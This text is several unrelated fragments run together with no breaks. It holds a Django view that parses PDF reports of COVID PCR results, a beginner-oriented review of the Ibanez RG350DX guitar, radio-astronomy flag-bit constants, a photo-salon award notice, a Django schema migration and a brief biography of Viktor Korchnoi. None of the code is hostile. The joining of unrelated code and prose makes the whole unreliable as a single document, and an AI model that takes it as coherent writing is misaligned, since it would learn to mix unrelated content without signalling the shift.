import tempfile from django.http import HttpRequest, JsonResponse from api.parse_file.pdf import extract_text_from_pdf import simplejson as json from api.views import endpoint from appconf.manager import SettingManager def dnk_covid(request): prefixes = [] key_dnk = SettingManager.get("dnk_kovid", default='false', default_type='s') to_return = None for x in "ABCDEF": prefixes.extend([f"{x}{i}" for i in range(1, 13)]) file = request.FILES['file'] if file.content_type == 'application/pdf' and file.size < 100000: with tempfile.TemporaryFile() as fp: fp.write(file.read()) text = extract_text_from_pdf(fp) if text: text = text.replace("\n", "").split("Коронавирусы подобные SARS-CoVВККоронавирус SARS-CoV-2") to_return = [] if text: for i in text: k = i.split("N") if len(k) > 1 and k[1].split(" ")[0].isdigit(): result = json.dumps({"pk": k[1].split(" ")[0], "result": [{"dnk_SARS": "Положительно" if "+" in i else "Отрицательно"}]}) to_return.append({"pk": k[1].split(" ")[0], "result": "Положительно" if "+" in i else "Отрицательно"}) http_func({"key": key_dnk, "result": result}, request.user) return to_return def http_func(data, user): http_obj = HttpRequest() http_obj.POST.update(data) http_obj.user = user endpoint(http_obj) def load_file(request): results = dnk_covid(request) return JsonResponse({"ok": True, "results": results})
The Ibanez RG350DX is part of the large and great RG family. Since 20 years RG guitars have influenced metal like no other guitars. Today you have the RG350DX - Ibanez' mid-range option of their high quality guitars. Are you a beginner and want to rock hard? Then the RG350DX would be a great choice that lasts for much more than just a few months. - The Ibanez RG350DX has a basswood body, a maple neck and a rosewood fingerboard. Two humbuckers and a single coil and the great Edge III bridge with locking vibrato system are the other most important features. - Coming in a white finish with black hardware and the typical RG body shape it looks amazing. - For metal playing this guitar sounds quite cool. Even clean sounds are partly great. - The feel of the neck is excellent, the whammy bar works properly and tuning is stable. - Reliability and durability are alright, there's nothing to worry about. - The RG350DX is definitely worth the money! The retail prize is about $400. The body of the Ibanez RG350DX is made of basswood - a solid wood that gives the guitar a comfortable contour and good sustain. Due to it's pretty thin body shape the weight of the guitar is low. The Wizard II neck is bolted onto the body and consists of three pieces of maple. Meanwhile the fretboard is made of rosewood. On it are 24 jumbo frets and nice shark tooth inlays. Like all Wizard necks it is specially designed by Ibanez, has the typical thin D-shape and a flat fingerboard. The hottest feature on this guitar is the Edge III bridge. It's a high quality locking vibrato system with a low profile. With the support of the locking nut this bridge is just perfect for wild metal playing. On the other side of the coin tuning and restringing can be tricky. When you're a beginner, let a pro show you how to manage this. How about the pickups? You've got two humbuckers, one in the neck and one in the bridge position and a single coil in the middle. All pickups are Ibanez brand pickups. There are common volume and tone knobs and a five-way pickup selector switch. One position for each pickup alone and two positions for the single coil working with a split humbucker. For detailed information about the Ibanez RG350DX's features click here. The Ibanez RG350DX has the absolute killer look - quite aggressive with its sharp cutaways and the dynamically shaped body. But it also has a very balanced look that will fit in every rock or metal band. The guitar comes in a stark white finish with a matching white glossed pickguard. In contrast to that you have the black hardware and pickup finish which gives this guitar an eye catching look. Generally speaking the Ibanez RG350DX is a metal axe. Therefore its sound is conceived for metal and hardrock. Through a high gain channel the pickups provide a very fat distortion. The bridge pickup is just perfect for heavy riffs due to the cutting tone. On the other side of the pickup selector switch the neck humbucker is ideally suited for sustaining lead sounds. Playing clean the RG350DX surprises in a very positive way and proves that there's more in it than just metal shred sound. The neck pickup gives you a warm bluesy tone. When playing without a plec it does its job very well. The single coil and the bridge humbucker are ideal for nicely defined chordings. Well there are also some weak spots. In opposite to the humbuckers the single coil has a vintage sound. Like the split positions it sounds rather thin and weak. Unfortunately the neck pickup can get pretty muddy when heavily overdriven. The biggest plus of the Ibanez RG350DX is definitely the playability! The neck feels just perfectly comfortable. The low action combined with the jumbo frets makes the strings on this guitar feel so natural. If you intend to become a shred master then the RG350DX would be the perfect tool for you. The hole guitar is in a very good balance and real lightweight. So, long playing sessions are no problem. Playing with the whammy bar is a real treat. Even crank divebombing won't affect the tuning - the locking system works great. Thanks to the bigger fingerboard width chord playing is very smoothly. The deep cutaways allow you to easily access all 24 frets. You like metal or hard rock and you're searching for the right axe? Then the Ibanez RG350DX would be an excellent choice to begin with. Ibanez is known as a manufacturer with high quality standards. The RG350DX is is definitely a reliable instrument and won't abandon you. Since restringing ain't as easy as on a guitar without a locking vibrato system, a backup guitar is always a good idea when playing on stage. Even tough the RG350DX is manufactured in Indonesia the finish is very proper. Therefore this guitar is also quite durable. As long as you treat this guitar nicely it will be a fast friend. The retail prize for the Ibanez RG350DX is about $400. Compared to all the benefits and qualities of this guitar the prize is excellent. Hot look, some good heavy sounds and an excellent feel - that's amazing. Especially when you want to rock hard but you're not absolutely sure if a metal guitar is the right thing, the RG350DX is a great option. The Ibanez RG350DX is an amazing guitar for the prize but it's also more. When you're a beginner and you're more into metal stuff this guitar is just perfect. Playability as the most important feature of a beginner guitar is really great. When you're looking for a metal guitar that should last for a long time then the RG350DX is still a good option. And with some improvements (e.g pickup replacement) this guitar can become a pro's tool.
################################################################################ # Copyright (c) 2019, National Research Foundation (Square Kilometre Array) # # Licensed under the BSD 3-Clause License (the "License"); you may not use # this file except in compliance with the License. You may obtain a copy # of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ################################################################################ """Definitions of flag bits""" NAMES = ('reserved0', 'static', 'cam', 'data_lost', 'ingest_rfi', 'predicted_rfi', 'cal_rfi', 'postproc') DESCRIPTIONS = ('reserved - bit 0', 'predefined static flag list', 'flag based on live CAM information', 'no data was received', 'RFI detected in ingest', 'RFI predicted from space based pollutants', 'RFI detected in calibration', 'some correction/postprocessing step could not be applied') STATIC_BIT = 1 CAM_BIT = 2 DATA_LOST_BIT = 3 INGEST_RFI_BIT = 4 PREDICTED_RFI_BIT = 5 CAL_RFI_BIT = 6 POSTPROC_BIT = 7 STATIC = 1 << STATIC_BIT CAM = 1 << CAM_BIT DATA_LOST = 1 << DATA_LOST_BIT INGEST_RFI = 1 << INGEST_RFI_BIT PREDICTED_RFI = 1 << PREDICTED_RFI_BIT CAL_RFI = 1 << CAL_RFI_BIT POSTPROC = 1 << POSTPROC_BIT
The PhotoVivo 2019 Grand Exhibitor – Top 10 Salonists in www.ss12c.com who accumulated the most number of points from our twelve photography circuits in 2019 shall be conferred the Master Exhibitor of Asia Photographers Union (MEAPU) and receive a free Bali photo shoot Trip. In case of a tie, the participant who won more top awards shall be declared the recipient. Participants are encouraged to submit entries to all the circuits and all 3 sections in www.ss12c.com. All the gold medals from all circuits in www.ss12c.com in 2019 shall be judged again in Jan 2020. From each section, the top 12 image shall be conferred the Golden Dragon Photo Award. This is the Best of the Gold award standard. All entries shall conform to the stricter of these definitions to be validated by all organizations granting recognition or patronage. Copyright © 2018 SANDVEN IMAGE HOUSE. All Right Reserved.
# Generated by Django 3.0.8 on 2020-07-28 17:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('dkapp', '0002_auto_20200726_1744'), ] operations = [ migrations.AlterField( model_name='accountingentry', name='created_at', field=models.DateTimeField(), ), migrations.AlterField( model_name='accountingentry', name='date', field=models.DateField(), ), migrations.AlterField( model_name='accountingentry', name='updated_at', field=models.DateTimeField(), ), migrations.AlterField( model_name='contact', name='created_at', field=models.DateTimeField(), ), migrations.AlterField( model_name='contact', name='updated_at', field=models.DateTimeField(), ), migrations.AlterField( model_name='contract', name='created_at', field=models.DateTimeField(), ), migrations.AlterField( model_name='contract', name='updated_at', field=models.DateTimeField(), ), migrations.AlterField( model_name='contractversion', name='created_at', field=models.DateTimeField(), ), migrations.AlterField( model_name='contractversion', name='duration_months', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='contractversion', name='duration_years', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='contractversion', name='start', field=models.DateField(), ), migrations.AlterField( model_name='contractversion', name='updated_at', field=models.DateTimeField(), ), ]
Born 1931 in St. Petersburg/Russia; Grandmaster 1956; peak Elo rating: 2695; Vice World Champion 1978-1984; World Senior Chess Champion 2006-2007; Chess Olympiad, Gold Medal: 1960, 1966, 1968, 1970, 1972, 1974; notable tournament victories: USSR Chess Champion 1960, 1962, 1964, 1970, Yerevan 1965, Tilburg 1985. Korchnoi is by far the oldest active grandmaster in world chess. In 2007, at the age of 75, Korchnoi was ranked among the 100 best chess players in the world.